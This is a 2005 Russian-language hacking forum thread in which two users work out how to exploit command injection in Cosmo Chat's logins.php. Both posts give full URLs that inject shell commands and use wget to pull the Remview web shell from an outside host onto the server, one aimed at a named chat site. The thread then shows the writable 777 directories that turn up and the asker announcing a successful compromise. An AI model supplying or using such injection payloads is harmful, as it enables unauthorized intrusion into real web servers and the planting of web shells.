Чаты Ремвива через Cosmo Chat

Discussion in 'Веб-уязвимости' started by chip, 3 Apr 2005.

  1. chip

    chip Banned

    Joined:
    5 Mar 2005
    Messages:
    80
    Likes Received:
    0
    Reputations:
    0
    Что то mлин мне не везет с тем сайтом. Вот так же надо в браузере вводить?
    Code:
    http://[target]/chat/logins.php?c=pwd;cd%20data;wget%20http://[target_for_shell]/remview.php;ls%20-|
    Или ошибка где? Не загружается. Просто открывается логинс.php с сраными паролями пользователей.
     
    #1 chip, 3 Apr 2005
    Last edited: 3 Apr 2005
  2. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Так попробуй:
    PHP:
    http://www.chat.ru/chat/logins.php?c=pwd;od%20smiles;wget%20http://бла бла бла.narod.ru/remview.php;%20ls%20-l
     
  3. chip

    chip Banned

    Joined:
    5 Mar 2005
    Messages:
    80
    Likes Received:
    0
    Reputations:
    0
    Спасибо Риша, сейчас пробну.
     
  4. chip

    chip Banned

    Joined:
    5 Mar 2005
    Messages:
    80
    Likes Received:
    0
    Reputations:
    0
    От охринительно! Во результаты, я выписал то что разрешено на запись:
    =========================================
    drwxrwxrwx 2 pupok pupok 4096 Апр 3 21:39 data
    drwxrwxrwx 2 pupok pupok 4096 Мар 29 19:20 smiles
    drwxrwxrwx 2 pupok pupok 4096 Мар 8 22:19 sources
    =========================================

    Итого я имею три папки на запись. Так следующий этап в чем заключается?
     
    #4 chip, 4 Apr 2005
    Last edited: 4 Apr 2005
  5. chip

    chip Banned

    Joined:
    5 Mar 2005
    Messages:
    80
    Likes Received:
    0
    Reputations:
    0
    Господи! Я это сделал! Господи! з-))))))))) Я сразу не всосал с утра, ты же четко и ясно написал что wget for smiles, хе, ну спасибо тебе! )))) Закрвайте тему!
     
  6. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Незачто)))
    Папка на сайлы в 90% случаях имеет права 777)))